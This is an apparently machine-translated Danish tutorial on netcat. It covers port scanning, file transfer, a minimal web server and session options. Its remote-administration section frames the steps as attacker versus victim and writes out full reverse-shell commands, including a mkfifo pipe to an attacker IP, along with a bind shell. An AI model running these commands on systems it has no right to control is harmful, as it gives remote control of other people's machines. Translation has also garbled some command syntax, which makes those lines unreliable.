En kort forskel mellem netcat-traditionel og netcat-openbsd
Der er to lignende pakker til rådighed for netcat med en lille forskel mellem dem.
netcat-traditionel inkluderer en ekstra '-e' mulighed, som kan bruges til at binde et program (i.e bash) med netcat. Denne funktion er meget nyttig til fjernadministrationsformål.
netcat-openbsd har noget ekstra support til IPv6 og proxyer.
Netcat installation
Selvom netcat kommer forudinstalleret i de fleste Linux-distributioner, men hvis det ikke er det, kan det nemt installeres ved hjælp af følgende kommandoer.
Til traditionel pakke,
[e-mail-beskyttet]: ~ $ sudo apt-get install netcat-traditionelTil openbsd-version,
[e-mail-beskyttet]: ~ $ sudo apt-get install netcat-openbsdNetcat til Windows kan downloades herfra https: // sourceforge.net / projekter / nc110 / filer /.
Nu undersøger vi nogle interessante brugssager af netcat
Port scanning ved hjælp af netcat
For at scanne for åbne porte skal du bruge '-z' mulighed. Netcat vil forsøge at oprette forbindelse til enhver port uden at sende data eller meget begrænsede data i UDP-tilfælde. Skriv følgende
[e-mail-beskyttet]: ~ $ nc -z -v hackme.org 80... klip ..
hackme.org [217.78.1.155] 80 (http) åben
Skriv for at scanne efter en række porte
[e-mail-beskyttet]: ~ $ nc -z -nv 192.168.100.72 20-80(Ukendt) [192.168.100.72] 80 (http) åben
(Ukendt) [192.168.100.72] 22 (ssh) åben
Filoverførsel med netcat
Et andet nyttigt tilfælde af netcat er filoverførsel mellem fjerncomputere. Du kan sende tekster og binære filer fra en pc til en anden pc. Vi prøver at sende en fil “fil.pdf ”fra Linux-pc til Windows-pc [IP 192.168.100.72] ved hjælp af netcat som et eksempel.
Indtast følgende på Windows-maskine (modtager)
C: \ Brugere> nc -nvlp 1337> fil.pdfLytter den [0.0.0.0] (familie 2, port 1337)
Skriv følgende på Linux-maskine (afsender)
[e-mail-beskyttet]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfForbindelse til 192.168.100.72 1337 port [tcp / *] lykkedes!
Fjernadministration med netcat
En af de bedste anvendelsestilfælde af netcat er fjernadministration, det betyder, at du kan styre en andens pc ved hjælp af netcat. Netcat-traditionel leveres med '-e' mulighed, som kan bruges til at binde et program (i.e cmd.exe i Windows eller bash i Linux) med en port, det betyder, at netcat fungerer som kommunikator mellem programmet og den eksterne pc. Netcat modtager kommandoer fra den eksterne pc, udføres på det lokale system og sender resultaterne tilbage til den eksterne pc. Denne funktion bruges i vid udstrækning til ondsindede formål for at holde bagdøre på pc'er og servere. Denne funktion er kun tilgængelig i netcat-traditionel, men med et lille trick kan netcat-openbsd også bruges til samme formål. Du kan bruge to måder til at kontrollere andres pc.
I en Omvendt skal forbindelse, lytter en angriber på en port og venter på, at der sendes en forbindelse fra offermaskinen. Det bruges, når offercomputeren er bag NAT eller ikke har offentlig IP.
For at få en omvendt shell ved hjælp af netcat skal du lytte i en port ved hjælp af netcat. Skriv følgende på angribermaskinen,
[e-mail-beskyttet]: ~ $ nc -nvlp 1337Lytter den [0.0.0.0] (familie 2, port 1337)
På offermaskinen (hvis netcat-traditionel er installeret)
// udskift “/ bin / bash” med “cmd.exe ”i tilfælde af Windows
[e-mail-beskyttet]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashTil netcat-openbsd (hvor "-e" ikke understøttes)
[e-mail-beskyttet]: ~ $ rm / tmp / f; mkfifo / tmp / f; kat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Mens i en Bind skal forbindelse, angriber binder en port på offermaskinen og opretter forbindelse til den port ved hjælp af klientstik. Det bruges, når angriberens maskine er bag NAT eller ikke har en offentlig IP.
Skriv på maskine til offer
[e-mail-beskyttet]: ~ $ nc -nlvp 1337 -e / bin / bashlytter på [enhver] 1337 ..
Skriv nu for at køre kommandoer på offermaskinen
[e-mail-beskyttet]: ~ $ nc -nv 127.0.0.1 1337Forbindelse til 127.0.0.1 1337 port [tcp / *] lykkedes!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupper = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Enkel webserver ved hjælp af netcat
Du kan også gøre et andet simpelt trick for at bruge netcat som minimal enkeltsideserver. Denne webserver ville være meget enkel uden specielle konfigurationer, og vi bruger den til at sende vores HTML-kode til browseren.
[e-mail-beskyttet]: ~ $ while true; gør ekko -e "HTTP / 1.1 200 OK \ n \ n $ (ekko "
Min enkle webserver ved hjælp af netcat
")" | nc -nvlp 1337; FærdigLytter den [0.0.0.0] (familie 2, port 1337)
Prøv nu at hente websiden ved hjælp af krølle
[e-mail-beskyttet]: ~ $ curl http: // 127.0.0.1: 1337 /Min enkle webserver ved hjælp af netcat
Angiv timeout for en netcat-session
Du kan angive timeout for en netcat-session ved hjælp af “-w” -indstillingen. Netcat afbryder automatisk sin session, når den angivne tid går ud.
// -w [Tid i sekunder][e-mail-beskyttet]: ~ $ nc -w 40 -nvlp 1337
Lytter den [0.0.0.0] (familie 2, havn 1234)
Fortsæt med at lytte, selvom klienten lukker forbindelsen
I normal tilstand lukker netcat-serveren ned og holder op med at lytte i porten, når en klient lukker forbindelsen. Du kan holde serveren oppe ved hjælp af “-k” -indstillingen
[e-mail-beskyttet]: ~ $ nc -k -nlvp 1234Lytter den [0.0.0.0] (familie 2, havn 1234)
Konklusion
Netcat er et simpelt, men effektivt værktøj, der kan bruges til mange enkle daglige opgaver. Den leveres forudinstalleret i næsten alle UNIX-lignende operativsystemer og kan bruges til forskellige opgaver som kommunikation mellem to pc'er, filoverførsel og mange flere.